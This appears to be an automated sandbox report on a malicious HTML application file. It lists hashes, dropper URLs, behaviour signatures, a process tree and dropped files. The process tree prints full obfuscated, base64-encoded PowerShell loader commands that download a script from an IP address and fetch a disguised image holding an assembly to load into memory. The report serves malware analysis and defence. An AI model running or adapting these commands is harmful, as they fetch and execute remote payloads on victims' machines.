Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    13-12-2024 06:37

General

  • Target

    creamkissingthingswithcreambananapackagecreamy.hta

  • Size

    80KB

  • MD5

    049640aa09b45f8f374ec9fff6e272e5

  • SHA1

    ca0990ea3db24491c5a5ce408b921383b0d74db8

  • SHA256

    277bce05fe87b2c2edd725dc6bc75c98a9f3d3fc68159a65471625009fe0e9e7

  • SHA512

    044cc9e601d6809ae166a99c91656b54fc602d088edba57013f2575ebe2e2dd0200e29335494977479a5ed04d81313d5b4816a7ec419e14df95f773133c9a7cc

  • SSDEEP

    768:tmbUZA+cT/RVeU2Dx6AyZ6LAuAHA/OxlbVxP7iZ5VQSG/wa3s+RP7i2dfwwwAkKD:tk

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Evasion via Device Credential Deployment 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\creamkissingthingswithcreambananapackagecreamy.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2948
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2324
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1976
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mdyun6d7.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2444
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB2AD.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCB2AC.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2736
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2348
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $isohemolytic = 'JGNhc2VtYXRlZCA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRSYWRub3IgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRoZW1pYWJsZXBzaWEgPSAkUmFkbm9yLkRvd25sb2FkRGF0YSgkY2FzZW1hdGVkKTskYmlkZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkaGVtaWFibGVwc2lhKTska2lkZGllcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYXZlbnRhaWxlID0gJzw8QkFTRTY0X0VORD4+Jzskc3RhaW4gPSAkYmlkZXMuSW5kZXhPZigka2lkZGllcyk7JHJlc2h1ZmZsZSA9ICRiaWRlcy5JbmRleE9mKCRhdmVudGFpbGUpOyRzdGFpbiAtZ2UgMCAtYW5kICRyZXNodWZmbGUgLWd0ICRzdGFpbjskc3RhaW4gKz0gJGtpZGRpZXMuTGVuZ3RoOyRzdWJhY3V0ZWx5ID0gJHJlc2h1ZmZsZSAtICRzdGFpbjskYXJ0aHJhbGdpYSA9ICRiaWRlcy5TdWJzdHJpbmcoJHN0YWluLCAkc3ViYWN1dGVseSk7JHVuYWRzb3JiZWQgPSAtam9pbiAoJGFydGhyYWxnaWEuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGFydGhyYWxnaWEuTGVuZ3RoKV07JG1pbnRsaWtlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5hZHNvcmJlZCk7JG1pbGxpbmVyID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkbWludGxpa2UpOyRwcm9kaWdhbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwcm9kaWdhbC5JbnZva2UoJG51bGwsIEAoJzAvQXpmOG8vci9lZS5ldHNhcC8vOnNwdHRoJywgJyRoZXRlcm9icmFuY2hpYScsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywgJ0Nhc1BvbCcsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnMScsJyRoZXRlcm9icmFuY2hpYScpKTs=';$choleate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($isohemolytic));Invoke-Expression $choleate
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2560

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabCDCC.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RESB2AD.tmp

    Filesize

    1KB

    MD5

    abd16878b2876d0ccb85c1c5870fb89a

    SHA1

    43145753d837cdfe2dc58f7c5e40e05d5d7f7038

    SHA256

    a7a3d3b0775e24785bfb01b3f1f85662e077a4cbc01422f116256382f551ab79

    SHA512

    af5d7a8ce8a378eaddce2276a6227521ef986bcfc50017ebe119386d5d501cd22af04a5dba9f6cea50b02c4765bbf982bb2596b2cfddde0a80d1f252bae4ac1b

  • C:\Users\Admin\AppData\Local\Temp\TarCDDF.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\mdyun6d7.dll

    Filesize

    3KB

    MD5

    0203bb9d7027bdbdf7bc6efcff2c327f

    SHA1

    37327608e253c6bc54c33da2ec8b035b4c354e25

    SHA256

    addac20fda107f10809579e9c21485faab690e9bad569292fe6838f947edbcf3

    SHA512

    e145437232af9fc3ab3f2a1a17a44ea68cf980e16b810ee14a51358ca872cf7d2aa7cab048653454ed23d338b2b2d374eb28156a6e64dbb919707484bc165edd

  • C:\Users\Admin\AppData\Local\Temp\mdyun6d7.pdb

    Filesize

    7KB

    MD5

    c289f80c082bb2da3f29997892a53138

    SHA1

    749b526ccf7bce970803e06c94b093ee16f94804

    SHA256

    1d9d30fbb8e20dda72d33793df46ff1f12937ae0f95d58b9ba19638165439084

    SHA512

    d8a16db22f529c6a969003659cceaebb54e8c5b5ad9a5cabde47cd426d111b0dc2eb04ff1e9f5155f95d9ce81f4d9aadc2f4804c9ae95785df5c2664189fa6e5

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2J67LK79T3OEXTLZYVBB.temp

    Filesize

    7KB

    MD5

    86755748594af822c42b63e3b974b27a

    SHA1

    eb93864b8768eb1e4b82a8231f51d2336f80bef1

    SHA256

    67e7f2d0ba9e7946d7b1bd67fc1b83b478fc74dfcf5889139b8219d9911b205d

    SHA512

    5b77482c54d1c437f95d8776da5e6322c8c1bd70a03925cfbd639e6a9b5de9e94206317a5cb68a5fb6bcb710897be14fa8530532f2ac0f81ce0021fc2ef6646b

  • C:\Users\Admin\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS

    Filesize

    150KB

    MD5

    716d2edd830102bbbad2cb0a1a0259f1

    SHA1

    720d2db1e6c8162f89376d06f149237ad8269297

    SHA256

    5a110b1e0b3424a297618863ffa88a2de1f09c266687f93da8e3d7c6dab48341

    SHA512

    edc3624e8071e058981bf47598b654321846a4538d4f64826457108431584021ca901c16278ab74775ef64a377387427a03cd4592b711f624c463bcdb53986ca

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCB2AC.tmp

    Filesize

    652B

    MD5

    ab520d7228e8fedcf6585cbf52ff6bad

    SHA1

    f073fd42f5a25d30c6846390bc883491eedfef5f

    SHA256

    f66bf748e32590b491d40dc113e73d544a4790267d96ce1410425693315745ee

    SHA512

    a44416083b10bb35da63c47282d06d001c1b0a00529c17dc4b671f0189b4e0a49d9151d31e727d94f8b5fc35e803b844b1892c2ad3b7b3253616745d2babdb1b

  • \??\c:\Users\Admin\AppData\Local\Temp\mdyun6d7.0.cs

    Filesize

    484B

    MD5

    48060b02d61c7c41db2a78dd5ba30307

    SHA1

    7064e1187a73995e4b916ac3d594014d9938a13d

    SHA256

    12c2558ddddb21359a0a88e1e7bdd1b2c28cb56435c4f9d9796161a2f60b7be7

    SHA512

    e522f64e687f3ba212703d2b8b5e0320e806359eb16a4fa21d08d5e27e858c82a88aabd01b82a816b96378c15013371451366e1a586e13a132dc7d0d2a86f46c

  • \??\c:\Users\Admin\AppData\Local\Temp\mdyun6d7.cmdline

    Filesize

    309B

    MD5

    aadf7cc74585dd06d33072b7dcb7a2bd

    SHA1

    d10c53b8ebc9d2cf8677f15d7a673e8fbb8125db

    SHA256

    266d1f2fbb288002f840980fe0b64b1ee420d8147db18d8671a52f53402f0fd2

    SHA512

    5f3d06daf5171e73853242834b56100b12694616af31d82723148813c9575824b24a1992745356d965921dea0f3c5df5854549e62447a2ebbb50ebd8cca9163c